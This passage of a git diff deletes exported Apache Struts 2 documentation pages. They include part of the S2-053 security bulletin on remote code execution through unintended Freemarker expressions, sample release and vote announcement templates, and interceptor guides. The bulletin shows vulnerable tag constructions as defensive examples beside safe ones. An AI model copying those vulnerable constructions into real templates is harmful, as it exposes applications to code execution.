-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-053.html">S2-053</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-053</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73636610">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73636610">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73636610">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73636610">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73636610">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73636610">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-053-Summary">Summary</h2>A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluen [...]
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;@s.hidden name="redirectUri" value=redirectUri /&gt;
-&lt;@s.hidden name="redirectUri" value="${redirectUri}" /&gt;
-&lt;@s.hidden name="${redirectUri}"/&gt;</pre>
-</div></div><p>In both cases a writable property is used in the&#160;<code>value</code> attribute and in both cases this is threatened as an expression by Freemarker. Please be aware that using Struts expression evaluation style is safe:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;@s.hidden name="redirectUri" value="%{redirectUri}" /&gt;
-&lt;@s.hidden name="%{redirectUri}"/&gt;</pre>
-</div></div><p><span style="font-size: 20.0px;">Solution</span></p><p>Do not use such constructions in your code or use read-only properties to initialise the <code>value</code> attribute (property with getter only). You can upgrade to Apache Struts version 2.5.12 or 2.3.34 which contain more restricted Freemarker configuration but removing vulnerable constructions is preferable.</p><h2 id="S2-053-Backwardcompatibility">Backward compatibility</h2><p>No backward incompatibility issues are [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/sample-announcements.html b/content/docs/sample-announcements.html
deleted file mode 100644
index 2252fef..0000000
--- a/content/docs/sample-announcements.html
+++ /dev/null
@@ -1,317 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Sample announcements</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a>&nbsp;&gt;&nbsp;<a href="sample-announcements.html">Sample announcements</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Sample announcements</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832957">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832957">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832957">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832957">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832957">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832957">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="Sampleannouncements-Content">Content</h1>
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974255363 {padding: 0px;}
-div.rbtoc1488974255363 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1488974255363 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974255363">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#Sampleannouncements-Content">Content</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">1.1</span> <a shape="rect" href="#Sampleannouncements-SampleStrutsAnnotationsRelease/QualityVote">Sample Struts Annotations Release/Quality Vote</a></li><li><span class="TOCOutline">1.2</span> <a shape="rect" href="#Sampleannouncements-SampleTestBuildAnnouncement">Sample Test Build Announcement</a></li><li><span class="TOCOutline">1.3</span> <a shape="rect" href="#Sampleannouncements-SampleRelease/QualityVote">Sample Release/Qualit [...]
-</li></ul>
-</div>
-
-<h2 id="Sampleannouncements-SampleStrutsAnnotationsRelease/QualityVote">Sample Struts Annotations Release/Quality Vote</h2>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Subject: [VOTE] Struts Annotations 1.0.x Vote
-The Struts Annotations 1.0.x test build is now available as a Maven
-artifact. It is a dependency of Struts 2.x.y.
-
-If you have had a chance to review the test build, please respond with
-a vote on its quality:
-
-[ ] Leave at test build
-[ ] Alpha
-[ ] Beta
-[ ] General Availability (GA)
-
-
-Everyone who has tested the build is invited to vote. Votes by PMC
-members are considered binding. A vote passes if there are at least
-three binding +1s and more +1s than -1s.
-
-The vote will remain open for at least 72 hours, longer upon request.
-</pre>
-</div></div>
-<h2 id="Sampleannouncements-SampleTestBuildAnnouncement">Sample Test Build Announcement</h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Test builds are only announced to the dev list. Announcements to the user list can only be made pursuant to a release vote with the consent of the PMC.</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>The test build of Struts 2.0.3 is available.
-
-
-No determination as to the quality ('alpha,' 'beta,' or 'GA') of Struts 2.0.3 has been made, and at this time it is simply a "test build".  We welcome any comments you may have, and will take all feedback into account if a quality vote is called for this build.
-
-Release notes:
-* [LINK]
-
-Distribution:
-* [http://people.apache.org/builds/struts/#.#.#/]
-
-Maven 2 staging repository:
-* [https://repository.apache.org/content/groups/staging/]
-
-
-We appreciate the time and effort everyone has put toward contributing code and documentation, posting to the mailing lists, and logging issues.
-</pre>
-</div></div>
-
-<h2 id="Sampleannouncements-SampleRelease/QualityVote">Sample Release/Quality Vote</h2>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Subject: [VOTE] Struts #.#.# Vote
-The Struts #.#.# test build is now available.
-
-Release notes:
-* [http://struts.apache.org/2.x/docs/version-notes-###.html]
-
-Distribution:
-* [http://people.apache.org/builds/struts/#.#.#/]
-
-Maven 2 staging repository:
-* [https://repository.apache.org/content/groups/staging/]
-
-Once you have had a chance to review the test build, please respond with a vote on its quality:
-
-[ ] Leave at test build
-[ ] Alpha
-[ ] Beta
-[ ] General Availability (GA)
-
-Everyone who has tested the build is invited to vote. Votes by PMC members are considered binding. A vote passes if there are at least three binding +1s and more +1s than -1s.
-
-The vote will remain open for at least 72 hours, longer upon request. A vote can be amended at any time to upgrade or downgrade the quality of the release based on future experience. If an initial vote designates the build as "Beta", the release will be submitted for mirroring and announced to the user list. Once released as a public beta, subsequent quality votes on a build may be held on the user list.
-
-As always, the act of voting carries certain obligations. A binding vote not only states an opinion, but means that the voter is agreeing to help do the work
-</pre>
-</div></div>
-
-<h2 id="Sampleannouncements-SampleReleaseAnnouncement">Sample Release Announcement</h2>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Subject: [ANN] Struts #.#.# [GA | Beta] release available
-</pre>
-</div></div>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>The Apache Struts group is pleased to announce that Struts #.#.# is available as a "[Beta | General Availability]" release. [[The Beta designation indicates that we believe the distribution needs wider testing before being upgraded to a "General Availability" release. Your input is essential.] The GA designation is our highest quality grade.]
-
-Apache Struts 2 is an elegant, extensible framework for creating enterprise-ready Java web applications. The framework is designed to streamline the full development cycle, from building, to deploying, to maintaining applications over time.
-
-[This release includes one important security fix:]
-
-All developers are strongly advised to update existing Struts 2 applications to Struts #.#.#.
-
-Struts #.#.# is available in a full distribution, or as separate library, source, example and documentation distributions, from the releases page.
-* http://struts.apache.org/download.cgi#struts###
-
-The release is also available from the central Maven repository under Group ID "org.apache.struts".
-
-The #.#.x series of the Apache Struts framework has a minimum requirement of the following specification versions:
-* Java Servlet 2.4 and JavaServer Pages (JSP) 2.0
-* Java 2 Standard Platform Edition (J2SE) 5
-
-The release notes are available online at:
-* http://struts.apache.org/2.x/docs/version-notes-###.html
-
-Should any issues arise with your use of any version of the Struts framework, please post your comments to the user list, and, if appropriate, file a tracking ticket.appropriate, file a tracking ticket:
-* https://issues.apache.org/jira/browse/WW
-
-
-- The Apache Struts group.
-</pre>
-</div></div>
-
-<h2 id="Sampleannouncements-Fast-TrackinganImportantSecurityRelease">Fast-Tracking an Important Security Release</h2>
-
-<ul><li>When a serious security issue  arises, we should try to create a <code>#.#.#.X</code> branch from the last GA release, and apply to that branch only<br clear="none">
-the security  patch.</li><li>If the patch first applies to some other dependency, implore the other group to do the same, to avoid side-effects from other changes.</li><li>If the release manager would like to "fast track" a vote, so as to make a security fix available quickly, the preferred procedure is to
-	<ul><li>Include the term "fast-track" in the subject, as in <code>[VOTE] Struts 2.0.9.1 quality (fast track)</code></li><li>In the vote message, specify voting terms like:</li></ul>
-	</li></ul>
-
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>The Struts #.#.#.# test build is now available.
-
-(optional (in case of the presence of security bulletin)
-It includes the latest security patches which fix two possible vulnerabilities:
-* ...
-* ...
-
-For details and the rationale behind these changes, please consult the
-corresponding security bulletins:
-* https://cwiki.apache.org/confluence/display/WW/S2-XXX
-* https://cwiki.apache.org/confluence/display/WW/S2-XXX
-
-Please note that currently these bulletins and the release notes are
-only visible to logged-in users with the struts-committer role. This is
-a needed requirement to control disclosure until the actual release is
-announced.
-(/optional)
-
-Release notes:
-* [https://cwiki.apache.org/confluence/display/WW/Version+Notes+#.#.#.#]
-
-Distribution:
-* [http://people.apache.org/builds/struts/#.#.#.#/]
-
-Maven 2 staging repository:
-* [https://repository.apache.org/content/groups/staging/]
-
-Once you have had a chance to review the test build, please respond with a vote on its quality:
-
-[ ] Leave at test build
-[ ] Alpha
-[ ] Beta
-[ ] General Availability (GA)
-
-Everyone who has tested the build is invited to vote. Votes by PMC members are considered binding. A vote passes if there are at least three binding +1s and more +1s than -1s.
-
-This is a "fast-track" release vote. If we have a positive vote after 24 hours (at least three binding +1s and more +1s than -1s),  the release may be submitted for mirroring and announced to the usual channels.
-
-The website download link will include the mirroring timestamp parameter [1], which limits the selection of mirrors to those that have been refreshed since the indicated time and date. (After 24 hours, we *must* remove the timestamp parameter from the website link, to avoid unnecessary server load.) In the case of a fast-track release, the email announcement will not link directly to &lt;download.cgi&gt;, but to &lt;downloads.html&gt;, so that we can control use of the timestamp parameter.
-
-[1] &lt;[http://apache.org/dev/mirrors.html#use|http://apache.org/dev/mirrors.html#use]&gt;
-
-- The Apache Struts group.
-
-</pre>
-</div></div>
-
-<p>Please be sure to update <a shape="rect" href="security-bulletins.html">Security Bulletins</a> accordingly as described above.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/scope-interceptor.html b/content/docs/scope-interceptor.html
deleted file mode 100644
index 340c9ac..0000000
--- a/content/docs/scope-interceptor.html
+++ /dev/null
@@ -1,156 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Scope Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="scope-interceptor.html">Scope Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Scope Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13932">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13932">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13932">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13932">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13932">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13932">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><plain-text-body>{snippet:id=description|javadoc=true|url=org.apache.struts2.interceptor.ScopeInterceptor}</plain-text-body><h2 id="ScopeInterceptor-Parameters">Parameters</h2><plain-text-body>{snippet:id=parameters|javadoc=true|url=org.apache.struts2.interceptor.ScopeInterceptor}</plain-text-body><h2 id="ScopeInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2><plain-text-body>{snippet:id=extending|javadoc=true|url=org.apache.struts [...]
-			&lt;result name="success" type="dispatcher"&gt;/jsp/test.jsp&lt;/result&gt;
-			&lt;interceptor-ref name="basicStack"/&gt;
-			&lt;interceptor-ref name="scope"&gt;
-				&lt;param name="key"&gt;funky&lt;/param&gt;
-        		&lt;param name="session"&gt;person&lt;/param&gt;
-        		&lt;param name="autoCreateSession"&gt;true&lt;/param&gt;
-    		&lt;/interceptor-ref&gt;
-		&lt;/action&gt;
-		&lt;action name="scopeb" class="com.mevipro.test.action.ScopeActionB"&gt;
-			&lt;result name="success" type="dispatcher"&gt;/jsp/test.jsp&lt;/result&gt;
-			&lt;interceptor-ref name="scope"&gt;
-				&lt;param name="key"&gt;funky&lt;/param&gt;
-        		&lt;param name="session"&gt;person&lt;/param&gt;
-        		&lt;param name="autoCreateSession"&gt;true&lt;/param&gt;
-    		&lt;/interceptor-ref&gt;
-			&lt;interceptor-ref name="basicStack"/&gt;
-		&lt;/action&gt;
-</plain-text-body><p>Don't forget: you'll need at least a getPerson() getter in ScopeActionA and a setPerson(Person person) setter in ScopeActionB, &#195;&#161;nd you need to make sure you specify the key (you don't need this if you only use one action, as in the example above). Without the key, the scope interceptor will store your variables, but won't set them on the other action.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/scoped-model-driven-interceptor.html b/content/docs/scoped-model-driven-interceptor.html
deleted file mode 100644
index f5d42e6..0000000
--- a/content/docs/scoped-model-driven-interceptor.html
+++ /dev/null
@@ -1,188 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Scoped Model Driven Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="scoped-model-driven-interceptor.html">Scoped Model Driven Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Scoped Model Driven Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26355">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26355">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26355">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
